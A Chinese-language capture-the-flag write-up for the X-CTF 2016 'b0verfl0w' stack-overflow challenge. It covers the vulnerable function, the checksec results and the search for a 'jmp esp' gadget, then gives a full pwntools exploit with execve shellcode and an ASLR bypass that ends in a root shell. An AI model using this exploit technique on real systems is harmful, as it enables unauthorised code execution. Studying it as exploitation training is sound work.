这个题是开启aslr的,所以echo 2 >/proc/sys/kernel/randomize_va_space
ida打开发现栈溢出,offset为0x20+4 = 36
signed int vul()
{
char s; // [sp+18h] [bp-20h]@1
puts("\n======================");
puts("\nWelcome to X-CTF 2016!");
puts("\n======================");
puts("What's your name?");
fflush(stdout);
fgets(&s, 50, stdin); //这里是一个明显的栈溢出
printf("Hello %s.", &s);
fflush(stdout);
return 1;
}
checksec
>>> from pwn import *
>>> print ELF('b0verfl0w').checksec()
[*] '/root/sploitfun/xctf2016/b0verfl0w'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
系统开启了ASLR,因此栈地址是随机的,我们无法预测。解决办法是利用相对地址即可
leave和ret含义如下
leave:mov esp,ebp;
pop ebp;
ret : pop eip
可知,当执行到ret的时候,esp刚好指向ret地址的下一个地址;而当我们找到如jmp esp的gadget并覆盖到return addr地址时,就可以跳到下一个地址去执行这个gadget地址后面的指令。
通过ROPgadget --binary b0verfl0w | grep 'jmp esp'
找到jump esp (由于运行完shellcode之后不用再继续往下运行,所以带不带ret都行)
0x08048502 : and al, 0xc3 ; jmp esp
0x08048501 : in al, dx ; and al, 0xc3 ; jmp esp
0x080484ff : in eax, 0x83 ; in al, dx ; and al, 0xc3 ; jmp esp
0x08048504 : jmp esp
最终的exp
from pwn import *
sh = process('./b0verfl0w')
shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" # 21byte
sub_esp_jmp = asm('sub esp, 0x28;jmp esp') #把esp指针减0x28,并跳转到esp中(运用相对的地址绕过了aslr)
jmp_esp = 0x08048504
payload = shellcode_x86 + (0x20 - len(shellcode_x86)) * 'b' + 'bbbb' + p32(jmp_esp) + sub_esp_jmp #offset = 36
sh.sendline(payload)
sh.interactive()
运行结果
python exp.py
[+] Starting local process './b0verfl0w': pid 28600
[*] Switching to interactive mode
======================
Welcome to X-CTF 2016!
======================
What's your name?
Hello 1慎酫h//shh/bin\x89惆
蛝bbbbbbbbbbbbbbb\x04\x85\x0\x83
.$ id
uid=0(root) gid=0(root) groups=0(root)